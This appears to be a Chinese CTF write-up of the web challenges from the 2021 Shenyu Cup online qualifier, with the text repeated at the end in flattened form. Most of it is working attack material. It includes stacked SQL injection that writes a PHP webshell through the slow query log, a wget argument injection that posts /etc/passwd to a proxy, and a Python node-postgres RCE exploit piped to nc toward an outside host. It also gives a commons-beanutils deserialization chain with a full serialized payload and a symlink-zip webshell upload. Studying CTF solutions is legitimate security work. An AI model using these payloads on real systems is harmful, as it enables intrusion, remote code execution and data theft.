2021深育杯线上初赛官方WriteUp-Web篇
字数 1900 2025-08-09 13:33:54

2021深育杯线上初赛Web题目WriteUp教学文档

EasySQL题目解析与利用

题目信息

  • 访问robots.txt发现三个文件:
    • index.php
    • config.php
    • helpyou2findflag.php

注入点分析

  1. 黑名单测试

    • 发现select、单双引号、括号、分号、set、show、variables等关键字未被过滤
    • 闭合方式为括号闭合
  2. 注入方式

    • 使用1);{sqlinject}-- +可以闭合查询语句并进行堆叠注入

利用步骤

  1. 开启慢查询日志

    1);show variables like '%slow_query_log%';--+  # 查询慢日志记录是否开启
    1);set global slow_query_log=1;--+  # 开启慢查询日志
    1);set global slow_query_log_file='/var/www/html/helpyou2findflag.php';--+  # 设置慢查询日志位置
    
  2. 绕过sleep过滤

    • 修改long_query_time的值使查询被记录:
    1);set global long_query_time=0.000001;--+
    1);show variables like 'long_query_time';--+
    
  3. 写入webshell

    1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+
    
  4. 获取flag

    • 访问helpyou2findflag.php
    • 查看用户发现rainbow用户
    • 查看家目录发现ssh.log中有flag:
    /helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27{%20print%20$1}%27%20/etc/passwd
    

FakeWget题目解析与利用

题目信息

  • 三个路由,一个输入点
  • 考点:命令注入

Fuzz测试结果

  1. 空格不可用
  2. 分号、反引号、|、&等被过滤
  3. 可利用\n绕过正则检查

利用步骤

  1. 构造POC读取文件

    -e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com
    
    • 特殊符号被替换成空格
    • \n绕过检查wget的grep命令
    • 将/etc/passwd的文件内容发送到代理机上
  2. 获取flag

    • 查看/etc/passwd发现ctf_user用户
    • 读取.bash_history得到flask程序根目录:
      /home/ctf_user/basedirforwebapp/
      
    • 直接读取flag文件:
      /home/ctf_user/basedirforwebapp/flag_is_here
      

EasyWAF题目解析与利用

题目信息

  1. 访问首页"/"时cookie为node=dGhlcmUgaXMgbm90aGluZ34h,解码为"there is nothing~!"
  2. 访问"/register"接口会提示"SQL Injection Attack Found! IP record!"
  3. 正常访问"/register"返回"IP have recorded!",设置Cookie为node=bWF4X2FsbG93ZWRfcGFja2V0,解码为"max_allowed_packet"
  4. 访问"/hint"时cookie为node=fiBub2RlLXBvc3RncmVzIH4h,解码为"~ node-postgres ~!"

过滤规则

过滤以下字符串:

"select", "union", "and", "or", "\\", "/", "*", " "

利用步骤

  1. 环境分析

    • Web服务使用nodejs
    • WAF数据保存在mysql中
    • 注册数据保存在postgresql中
  2. 利用方式

    • 利用mysql的max_allowed_packet特性绕过WAF
    • 结合nodejs postgres包的RCE漏洞
  3. EXP代码

from random import randint
import requests
import sys

def exp(url, cmd):
    payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`%s`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--"""% (' '* 1024* 1024* 16, cmd)
    username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))
    data = { 'username': username + payload,'password': 'ABCDEF'}
    r = requests.post(url, data = data)
    print(r.content)

if __name__ == '__main__':
    exp(sys.argv[1], sys.argv[2])
  1. 执行命令
python3 exp.py http://ip:端口/register "cat flag.txt|nc ip 端口"

Web-log题目解析与利用

题目信息

  • 访问网站自动下载log文件
  • 提示logname错误,需要提交logname
  • 抓包发现filename路径为logs/info/info.2021-08-22.log

利用步骤

  1. 下载jar包

    • 根据日志内容判断web是springboot
    • jar包名为cb-0.0.1-SNAPSHOT.jar
    • 成功下载jar包
  2. 反编译分析

    • 发现/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser接口
    • 对user参数做base64解码并进行反序列化
  3. 漏洞利用

    • 分析pom.xml发现有commons-beanutils:1.8.2依赖
    • 需要无CC包的利用链
  4. 构造利用链

public class CommonsBeanutilsNoCC {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
    }
}
  1. Springboot回显class
public class SpringEcho {
    public SpringEcho() throws Exception {
        {
            Object httpresponse = null;
            try {
                Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]);
                Object httprequest = requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]);
                httpresponse = requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]);
                
                String s = (String)httprequest.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(httprequest, new Object[]{"Cmd"});
                if(s != null && !s.isEmpty()) {
                    httpresponse.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(httpresponse, new Object[]{new Integer(200)});
                    byte[] cmdBytes;
                    if(s.equals("echo") ) {
                        cmdBytes = System.getProperties().toString().getBytes();
                    } else {
                        String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};
                        cmdBytes = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\A").next().getBytes();
                    }
                    Object getWriter = httpresponse.getClass().getMethod("getWriter", new Class[0]).invoke(httpresponse, new Object[0]);
                    getWriter.getClass().getMethod("write", new Class[]{String.class}).invoke(getWriter, new Object[]{(new String(cmdBytes))});
                    getWriter.getClass().getMethod("flush", new Class[0]).invoke(getWriter, new Object[0]);
                    getWriter.getClass().getMethod("close", new Class[0]).invoke(getWriter, new Object[0]);
                }
            } catch(Exception e) {
                e.getStackTrace();
            }
        }
    }
}
  1. 发送payload
POST /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser HTTP/1.1
Host: 192.168.111.1:8081
Cmd: cat /tmp/RyJSYfyVl6i2ZnB9/flag_kzucLifFImOTUiLC.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 4377

user=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3JPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAISQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wBwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAACiDK/rq+AAAAMgCzAQAaVGVzdC9HYWRnZXQyMjY1MzgxMzc4NDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAGkdhZGdldDIyNjUzODEzNzg0MTEwMC5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggACwEAD2phdmEvbGFuZy9DbGFzcwcADQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAPABAKAA4AEQEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAATAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAFQAWCgAOABcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMABsAHAoAGgAdAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAfACAKAAQAIQEACmdldFJlcXVlc3QIACMBAAtnZXRSZXNwb25zZQgAJQEACWdldEhlYWRlcggAJwEAEGphdmEvbGFuZy9TdHJpbmcHACkBAANDbWQIACsBAAdpc0VtcHR5AQADKClaDAAtAC4KACoALwEACXNldFN0YXR1cwgAMQEAEWphdmEvbGFuZy9JbnRlZ2VyBwAzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAA1ADYJADQANwEABChJKVYMAAcAOQoANAA6AQAJYWRkSGVhZGVyCAA8AQADVGFnCAA+AQAHc3VjY2VzcwgAQAEABGVjaG8IAEIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAEQARQoAKgBGAQAQamF2YS9sYW5nL1N5c3RlbQcASAEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMAEoASwoASQBMAQATamF2YS91dGlsL0hhc2h0YWJsZQcATgEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAFAAUQoATwBSAQAIZ2V0Qnl0ZXMBAAQoKVtCDABUAFUKACoAVgEAB29zLm5hbWUIAFgBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABaAFsKAEkAXAEAC3RvTG93ZXJDYXNlDABeAFEKACoAXwEABndpbmRvdwgAYQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABjAGQKACoAZQEAB2NtZC5leGUIAGcBAAIvYwgAaQEABy9iaW4vc2gIAGsBAAItYwgAbQEAEWphdmEvdXRpbC9TY2FubmVyBwBvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwBxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwABwBzCgByAHQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAdgB3CgByAHgBABFqYXZhL2xhbmcvUHJvY2VzcwcAegEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAHwAfQoAewB+AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAHAIAKAHAAgQEAA1xcQQgAgwEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAhQCGCgBwAIcBAARuZXh0DACJAFEKAHAAigEACWdldFdyaXRlcggAjAEABXdyaXRlCACOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAkAoAkQAJAQAGPT09PT09CACTAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsMAJUAlgoAkQCXAQAFKFtCKVYMAAcAmQoAKgCaCgCRAFIBAAVmbHVzaAgAnQEABWNsb3NlCACfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAoQEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKMBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAKUApgoApACnAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNbTGphdmEvbGFuZy9TdHJpbmc7BwCrAQACW0IHAK0BAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAsAoAsQAJACEAAgCxAAAAAAABAAEABwAIAAIAqQAAAjIACgAJAAAB3Sq3ALIBTBIMuAASEhQDvQAOtgAYAQO9AAS2AB5NLLYAIhIkA70ADrYAGCwDvQAEtgAeTiy2ACISJgO9AA62ABgsA70ABLYAHkwttgAiEigEvQAOWQMSKlO2ABgtBL0ABFkDEixTtgAewAAqOgQZBAGlAAsZBLYAMJkABqcBUyu2ACISMgS9AA5ZA7IAOFO2ABgrBL0ABFkDuwA0WREAyLcAO1O2AB5XK7YAIhI9Bb0ADlkDEipTWQQSKlO2ABgrBb0ABFkDEj9TWQQSQVO2AB5XGQQSQ7YAR5kAEbgATbYAU7YAVzoFpwBhElm4AF22AGASYrYAZpkAGQa9ACpZAxJoU1kEEmpTWQUZBFOnABYGvQAqWQMSbFNZBBJuU1kFGQRTOga7AHBZuwByWRkGtwB1tgB5tgB/twCCEoS2AIi2AIu2AFc6BSu2ACISjQO9AA62ABgrA70ABLYAHjoHGQe2ACISjwS9AA5ZAxIqU7YAGBkHBL0ABFkDuwCRWbcAkhKUtgCYuwAqWRkFtwCbtgCYEpS2AJi2AJxTtgAeVxkHtgAiEp4DvQAOtgAYGQcDvQAEtgAeVxkHtgAiEqADvQAOtgAYGQcDvQAEtgAeV6cADjoIGQi2AKhXpwADsQABAAYBzgHRAKIAAQCvAAAAOwAJ/wB7AAUHAAIHAAQHAAQHAAQHACoAAAL7AGolUgcArPwAJAcArvoAhv8AAgACBwACBwAEAAEHAKIKAKoAAAAEAAEAogABAAUAAAACAAZwdAAEUHducnB3AQB4cQB+AA54
  1. 获取flag
    • 在tmp目录下找到flag文件

ZIPZIP题目解析与利用

题目信息

  • 解压操作可以覆盖上一次解压文件,造成任意文件上传漏洞

利用步骤

  1. 构造软连接

    • 构造一个指向/var/www/html的软连接
    • 使用命令压缩:
    zip --symlinks test.zip ./*
    
  2. 上传第一个压缩包

    • 解压出软连接文件
  3. 构造第二个压缩包

    • 创建test目录
    • 在test目录下写shell文件
    • 压缩创建的test目录,目录结构为:test/cmd.php
  4. 上传第二个压缩包

    • 覆盖上一个test目录
    • 由于test目录软链接指向/var/www/html,解压时会把cmd.php放在/var/www/html
  5. 访问webshell

    • 访问cmd.php执行命令
    • 成功读取flag

总结

本教学文档详细分析了2021深育杯线上初赛Web题目的解题思路和利用方法,涵盖了SQL注入、命令注入、WAF绕过、反序列化漏洞和文件上传漏洞等多种Web安全技术。每个题目都提供了详细的利用步骤和关键点说明,可作为CTF比赛和Web安全学习的参考资料。

2021深育杯线上初赛Web题目WriteUp教学文档 EasySQL题目解析与利用 题目信息 访问robots.txt发现三个文件: index.php config.php helpyou2findflag.php 注入点分析 黑名单测试 : 发现select、单双引号、括号、分号、set、show、variables等关键字未被过滤 闭合方式为括号闭合 注入方式 : 使用 1);{sqlinject}-- + 可以闭合查询语句并进行堆叠注入 利用步骤 开启慢查询日志 : 绕过sleep过滤 : 修改long_ query_ time的值使查询被记录: 写入webshell : 获取flag : 访问helpyou2findflag.php 查看用户发现rainbow用户 查看家目录发现ssh.log中有flag: FakeWget题目解析与利用 题目信息 三个路由,一个输入点 考点:命令注入 Fuzz测试结果 空格不可用 分号、反引号、|、&等被过滤 可利用 \n 绕过正则检查 利用步骤 构造POC读取文件 : 特殊符号被替换成空格 \n 绕过检查wget的grep命令 将/etc/passwd的文件内容发送到代理机上 获取flag : 查看/etc/passwd发现ctf_ user用户 读取.bash_ history得到flask程序根目录: 直接读取flag文件: EasyWAF题目解析与利用 题目信息 访问首页"/"时cookie为 node=dGhlcmUgaXMgbm90aGluZ34h ,解码为"there is nothing~ !" 访问"/register"接口会提示"SQL Injection Attack Found! IP record !" 正常访问"/register"返回"IP have recorded!",设置Cookie为 node=bWF4X2FsbG93ZWRfcGFja2V0 ,解码为"max_ allowed_ packet" 访问"/hint"时cookie为 node=fiBub2RlLXBvc3RncmVzIH4h ,解码为"~ node-postgres ~ !" 过滤规则 过滤以下字符串: 利用步骤 环境分析 : Web服务使用nodejs WAF数据保存在mysql中 注册数据保存在postgresql中 利用方式 : 利用mysql的max_ allowed_ packet特性绕过WAF 结合nodejs postgres包的RCE漏洞 EXP代码 : 执行命令 : Web-log题目解析与利用 题目信息 访问网站自动下载log文件 提示logname错误,需要提交logname 抓包发现filename路径为 logs/info/info.2021-08-22.log 利用步骤 下载jar包 : 根据日志内容判断web是springboot jar包名为 cb-0.0.1-SNAPSHOT.jar 成功下载jar包 反编译分析 : 发现 /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser 接口 对user参数做base64解码并进行反序列化 漏洞利用 : 分析pom.xml发现有 commons-beanutils:1.8.2 依赖 需要无CC包的利用链 构造利用链 : Springboot回显class : 发送payload : 获取flag : 在tmp目录下找到flag文件 ZIPZIP题目解析与利用 题目信息 解压操作可以覆盖上一次解压文件,造成任意文件上传漏洞 利用步骤 构造软连接 : 构造一个指向 /var/www/html 的软连接 使用命令压缩: 上传第一个压缩包 : 解压出软连接文件 构造第二个压缩包 : 创建test目录 在test目录下写shell文件 压缩创建的test目录,目录结构为: test/cmd.php 上传第二个压缩包 : 覆盖上一个test目录 由于test目录软链接指向 /var/www/html ,解压时会把cmd.php放在 /var/www/html 访问webshell : 访问 cmd.php 执行命令 成功读取flag 总结 本教学文档详细分析了2021深育杯线上初赛Web题目的解题思路和利用方法,涵盖了SQL注入、命令注入、WAF绕过、反序列化漏洞和文件上传漏洞等多种Web安全技术。每个题目都提供了详细的利用步骤和关键点说明,可作为CTF比赛和Web安全学习的参考资料。